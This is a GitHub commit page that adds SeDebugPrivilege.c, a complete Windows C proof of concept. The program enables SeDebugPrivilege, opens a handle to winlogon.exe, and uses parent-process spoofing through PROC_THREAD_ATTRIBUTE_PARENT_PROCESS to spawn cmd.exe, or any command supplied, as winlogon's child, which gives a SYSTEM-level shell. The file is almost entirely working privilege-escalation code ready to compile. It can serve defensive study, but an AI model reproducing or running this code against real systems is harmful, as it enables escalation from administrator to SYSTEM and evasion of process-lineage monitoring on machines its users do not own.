Skip to content

Commit 2d43cf0

Browse files
authored
Add files via upload
1 parent 70d379a commit 2d43cf0

File tree

1 file changed

+358
-0
lines changed

1 file changed

+358
-0
lines changed

SeDebugPrivilege.c

Lines changed: 358 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,358 @@
1+
#include <windows.h>
2+
#include <stdio.h>
3+
#include <tlhelp32.h>
4+
#include <string.h>
5+
6+
// No need to redefine ERROR_INSUFFICIENT_BUFFER as it's already in winerror.h
7+
8+
// Function prototypes
9+
LPWSTR GetWin32ErrorMessage(DWORD errorCode);
10+
void FreeErrorMessage(LPWSTR message);
11+
BOOL EnableSeDebugPrivilege();
12+
BOOL CreateProcessFromHandle(HANDLE hProcess, LPCWSTR command);
13+
HANDLE OpenWinlogonHandle();
14+
15+
// Function to enable SeDebugPrivilege
16+
BOOL EnableSeDebugPrivilege() {
17+
HANDLE hToken;
18+
TOKEN_PRIVILEGES tkp;
19+
BOOL result = FALSE;
20+
21+
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
22+
LPWSTR errorMsg = GetWin32ErrorMessage(GetLastError());
23+
wprintf(L"[-] Failed to open process token.\n");
24+
wprintf(L" |-> %s\n", errorMsg);
25+
FreeErrorMessage(errorMsg);
26+
return FALSE;
27+
}
28+
29+
if (!LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) {
30+
LPWSTR errorMsg = GetWin32ErrorMessage(GetLastError());
31+
wprintf(L"[-] Failed to lookup SeDebugPrivilege.\n");
32+
wprintf(L" |-> %s\n", errorMsg);
33+
FreeErrorMessage(errorMsg);
34+
CloseHandle(hToken);
35+
return FALSE;
36+
}
37+
38+
tkp.PrivilegeCount = 1;
39+
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
40+
41+
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) {
42+
LPWSTR errorMsg = GetWin32ErrorMessage(GetLastError());
43+
wprintf(L"[-] Failed to adjust token privileges.\n");
44+
wprintf(L" |-> %s\n", errorMsg);
45+
FreeErrorMessage(errorMsg);
46+
} else {
47+
DWORD lastError = GetLastError();
48+
if (lastError == ERROR_NOT_ALL_ASSIGNED) {
49+
wprintf(L"[-] SeDebugPrivilege could not be enabled. The privilege is not held by the calling process.\n");
50+
wprintf(L"[!] Make sure you're running as Administrator or have SeDebugPrivilege assigned.\n");
51+
result = FALSE;
52+
} else {
53+
wprintf(L"[+] SeDebugPrivilege enabled successfully.\n");
54+
result = TRUE;
55+
}
56+
}
57+
58+
CloseHandle(hToken);
59+
return result;
60+
}
61+
62+
// Function to get Windows error message
63+
LPWSTR GetWin32ErrorMessage(DWORD errorCode) {
64+
LPWSTR messageBuffer = NULL;
65+
DWORD size = FormatMessageW(
66+
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
67+
NULL,
68+
errorCode,
69+
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
70+
(LPWSTR)&messageBuffer,
71+
0,
72+
NULL
73+
);
74+
75+
if (size == 0) {
76+
// If FormatMessage fails, create a generic error message
77+
messageBuffer = (LPWSTR)LocalAlloc(LMEM_ZEROINIT, 64 * sizeof(WCHAR));
78+
if (messageBuffer) {
79+
swprintf(messageBuffer, 64, L"[ERROR] Code 0x%08X", errorCode);
80+
}
81+
} else {
82+
// Remove trailing newline characters
83+
while (size > 0 && (messageBuffer[size - 1] == L'\r' || messageBuffer[size - 1] == L'\n')) {
84+
messageBuffer[--size] = L'\0';
85+
}
86+
}
87+
88+
return messageBuffer;
89+
}
90+
91+
// Function to free error message buffer
92+
void FreeErrorMessage(LPWSTR message) {
93+
if (message) {
94+
LocalFree(message);
95+
}
96+
}
97+
98+
99+
100+
BOOL CreateProcessFromHandle(HANDLE hProcess, LPCWSTR command)
101+
{
102+
BOOL status = FALSE;
103+
SIZE_T size = 0;
104+
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = NULL;
105+
STARTUPINFOEXW si;
106+
PROCESS_INFORMATION pi;
107+
DWORD error;
108+
109+
wprintf(L"[>] Entering CreateProcessFromHandle function...\n");
110+
wprintf(L"[>] Target command: %s\n", command);
111+
wprintf(L"[>] Parent handle: 0x%p\n", hProcess);
112+
113+
ZeroMemory(&si, sizeof(si));
114+
ZeroMemory(&pi, sizeof(pi));
115+
si.StartupInfo.cb = sizeof(si);
116+
117+
wprintf(L"[>] Initializing process thread attribute list...\n");
118+
119+
// Initialize with retry logic similar to C# version
120+
do {
121+
wprintf(L"[>] Calling InitializeProcThreadAttributeList (size=%zu)...\n", size);
122+
status = InitializeProcThreadAttributeList(pAttrList, 1, 0, &size);
123+
error = GetLastError();
124+
wprintf(L"[>] InitializeProcThreadAttributeList returned: %s (error=%lu, size=%zu)\n",
125+
status ? L"TRUE" : L"FALSE", error, size);
126+
127+
if (!status) {
128+
if (pAttrList != NULL) {
129+
wprintf(L"[>] Freeing previous attribute list...\n");
130+
HeapFree(GetProcessHeap(), 0, pAttrList);
131+
pAttrList = NULL;
132+
}
133+
134+
if (error == ERROR_INSUFFICIENT_BUFFER) {
135+
wprintf(L"[>] Allocating %zu bytes for attribute list...\n", size);
136+
pAttrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
137+
if (!pAttrList) {
138+
LPWSTR errorMsg = GetWin32ErrorMessage(GetLastError());
139+
wprintf(L"[-] HeapAlloc failed.\n");
140+
wprintf(L" |-> %s\n", errorMsg);
141+
FreeErrorMessage(errorMsg);
142+
return FALSE;
143+
}
144+
wprintf(L"[>] Attribute list allocated at: 0x%p\n", pAttrList);
145+
} else {
146+
LPWSTR errorMsg = GetWin32ErrorMessage(error);
147+
wprintf(L"[-] InitializeProcThreadAttributeList failed with unexpected error.\n");
148+
wprintf(L" |-> %s\n", errorMsg);
149+
FreeErrorMessage(errorMsg);
150+
break; // Exit loop if error is not insufficient buffer
151+
}
152+
}
153+
} while (!status && error == ERROR_INSUFFICIENT_BUFFER);
154+
155+
// Check if initialization was successful
156+
if (!status) {
157+
LPWSTR errorMsg = GetWin32ErrorMessage(error);
158+
wprintf(L"[-] Failed to initialize thread attribute list.\n");
159+
wprintf(L" |-> %s\n", errorMsg);
160+
FreeErrorMessage(errorMsg);
161+
162+
if (pAttrList) {
163+
HeapFree(GetProcessHeap(), 0, pAttrList);
164+
}
165+
return FALSE;
166+
}
167+
168+
wprintf(L"[+] Process thread attribute list initialized successfully.\n");
169+
wprintf(L"[>] Updating process thread attribute...\n");
170+
171+
// Update process thread attribute
172+
status = UpdateProcThreadAttribute(
173+
pAttrList,
174+
0,
175+
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
176+
&hProcess,
177+
sizeof(HANDLE),
178+
NULL,
179+
NULL);
180+
181+
if (!status) {
182+
error = GetLastError();
183+
LPWSTR errorMsg = GetWin32ErrorMessage(error);
184+
wprintf(L"[-] Failed to update thread attribute.\n");
185+
wprintf(L" |-> %s\n", errorMsg);
186+
FreeErrorMessage(errorMsg);
187+
188+
DeleteProcThreadAttributeList(pAttrList);
189+
HeapFree(GetProcessHeap(), 0, pAttrList);
190+
return FALSE;
191+
}
192+
193+
wprintf(L"[+] Process thread attribute updated successfully.\n");
194+
si.lpAttributeList = pAttrList;
195+
196+
wprintf(L"[>] Calling CreateProcessW...\n");
197+
wprintf(L"[>] Command line: %s\n", command);
198+
199+
// Create a mutable copy of the command string
200+
int cmdLen = wcslen(command) + 1;
201+
LPWSTR cmdCopy = (LPWSTR)HeapAlloc(GetProcessHeap(), 0, cmdLen * sizeof(WCHAR));
202+
if (!cmdCopy) {
203+
wprintf(L"[-] Failed to allocate memory for command copy.\n");
204+
DeleteProcThreadAttributeList(pAttrList);
205+
HeapFree(GetProcessHeap(), 0, pAttrList);
206+
return FALSE;
207+
}
208+
wcscpy(cmdCopy, command);
209+
210+
// Create the process
211+
status = CreateProcessW(
212+
NULL, // lpApplicationName
213+
cmdCopy, // lpCommandLine (must be mutable)
214+
NULL, // lpProcessAttributes
215+
NULL, // lpThreadAttributes
216+
FALSE, // bInheritHandles
217+
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // dwCreationFlags
218+
NULL, // lpEnvironment
219+
NULL, // lpCurrentDirectory
220+
&si.StartupInfo, // lpStartupInfo
221+
&pi); // lpProcessInformation
222+
223+
wprintf(L"[>] CreateProcessW returned: %s\n", status ? L"TRUE" : L"FALSE");
224+
225+
if (!status) {
226+
error = GetLastError();
227+
LPWSTR errorMsg = GetWin32ErrorMessage(error);
228+
wprintf(L"[-] Failed to create new process.\n");
229+
wprintf(L" |-> %s\n", errorMsg);
230+
FreeErrorMessage(errorMsg);
231+
} else {
232+
wprintf(L"[+] New process is created successfully.\n");
233+
wprintf(L" |-> PID : %lu\n", pi.dwProcessId);
234+
wprintf(L" |-> TID : %lu\n", pi.dwThreadId);
235+
wprintf(L" |-> Process Handle: 0x%p\n", pi.hProcess);
236+
wprintf(L" |-> Thread Handle: 0x%p\n", pi.hThread);
237+
CloseHandle(pi.hThread);
238+
CloseHandle(pi.hProcess);
239+
}
240+
241+
// Cleanup
242+
HeapFree(GetProcessHeap(), 0, cmdCopy);
243+
DeleteProcThreadAttributeList(pAttrList);
244+
HeapFree(GetProcessHeap(), 0, pAttrList);
245+
246+
wprintf(L"[>] Exiting CreateProcessFromHandle function...\n");
247+
return status;
248+
}
249+
250+
HANDLE OpenWinlogonHandle()
251+
{
252+
HANDLE hSnap;
253+
PROCESSENTRY32W pe;
254+
HANDLE hProcess = NULL;
255+
DWORD error;
256+
257+
wprintf(L"[>] Searching winlogon PID.\n");
258+
259+
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
260+
if (hSnap == INVALID_HANDLE_VALUE) {
261+
error = GetLastError();
262+
LPWSTR errorMsg = GetWin32ErrorMessage(error);
263+
wprintf(L"[-] CreateToolhelp32Snapshot failed.\n");
264+
wprintf(L" |-> %s\n", errorMsg);
265+
FreeErrorMessage(errorMsg);
266+
return NULL;
267+
}
268+
269+
pe.dwSize = sizeof(pe);
270+
if (Process32FirstW(hSnap, &pe)) {
271+
do {
272+
if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
273+
wprintf(L"[+] PID of winlogon: %lu\n", pe.th32ProcessID);
274+
wprintf(L"[>] Trying to get handle to winlogon.\n");
275+
276+
hProcess = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, pe.th32ProcessID);
277+
if (hProcess == NULL) {
278+
error = GetLastError();
279+
LPWSTR errorMsg = GetWin32ErrorMessage(error);
280+
wprintf(L"[-] Failed to get a winlogon handle.\n");
281+
wprintf(L" |-> %s\n", errorMsg);
282+
FreeErrorMessage(errorMsg);
283+
284+
// Try with different access rights for debugging
285+
wprintf(L"[>] Trying with PROCESS_ALL_ACCESS...\n");
286+
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
287+
if (hProcess == NULL) {
288+
error = GetLastError();
289+
LPWSTR errorMsg2 = GetWin32ErrorMessage(error);
290+
wprintf(L"[-] Failed to get winlogon handle with PROCESS_ALL_ACCESS.\n");
291+
wprintf(L" |-> %s\n", errorMsg2);
292+
FreeErrorMessage(errorMsg2);
293+
} else {
294+
wprintf(L"[+] Got handle to winlogon with PROCESS_ALL_ACCESS (hProcess = 0x%p).\n", hProcess);
295+
}
296+
} else {
297+
wprintf(L"[+] Got handle to winlogon with PROCESS_CREATE_PROCESS (hProcess = 0x%p).\n", hProcess);
298+
}
299+
break;
300+
}
301+
} while (Process32NextW(hSnap, &pe));
302+
} else {
303+
error = GetLastError();
304+
LPWSTR errorMsg = GetWin32ErrorMessage(error);
305+
wprintf(L"[-] Process32FirstW failed.\n");
306+
wprintf(L" |-> %s\n", errorMsg);
307+
FreeErrorMessage(errorMsg);
308+
}
309+
310+
CloseHandle(hSnap);
311+
312+
if (hProcess == NULL) {
313+
wprintf(L"[-] Failed to get process ID of winlogon.\n");
314+
}
315+
316+
return hProcess;
317+
}
318+
319+
int wmain(int argc, wchar_t* argv[])
320+
{
321+
wprintf(L"[*] If you have SeDebugPrivilege, you can get handles from privileged processes.\n");
322+
wprintf(L"[*] This PoC tries to spawn a process as winlogon.exe's child process.\n");
323+
324+
// First, enable SeDebugPrivilege
325+
wprintf(L"[>] Attempting to enable SeDebugPrivilege...\n");
326+
if (!EnableSeDebugPrivilege()) {
327+
wprintf(L"[-] Failed to enable SeDebugPrivilege. Continuing anyway...\n");
328+
wprintf(L"[!] Note: You may need to run as Administrator or have SeDebugPrivilege assigned.\n");
329+
}
330+
331+
LPCWSTR command = L"C:\\Windows\\System32\\cmd.exe";
332+
333+
if (argc > 1) {
334+
command = argv[1];
335+
wprintf(L"[>] Command parameter detected, launching: %s\n", command);
336+
} else {
337+
wprintf(L"[>] No command parameter detected, launching cmd.exe\n");
338+
}
339+
340+
HANDLE hProcess = OpenWinlogonHandle();
341+
if (hProcess) {
342+
wprintf(L"[>] Attempting to create process from winlogon handle...\n");
343+
BOOL success = CreateProcessFromHandle(hProcess, command);
344+
if (success) {
345+
wprintf(L"[+] Process creation succeeded!\n");
346+
} else {
347+
wprintf(L"[-] Process creation failed.\n");
348+
}
349+
CloseHandle(hProcess);
350+
} else {
351+
wprintf(L"[-] Failed to get winlogon handle. Cannot proceed.\n");
352+
wprintf(L"[!] Make sure you're running as Administrator.\n");
353+
}
354+
355+
wprintf(L"[*] Press Enter to exit...\n");
356+
getchar();
357+
return 0;
358+
}

0 commit comments

Comments
 (0)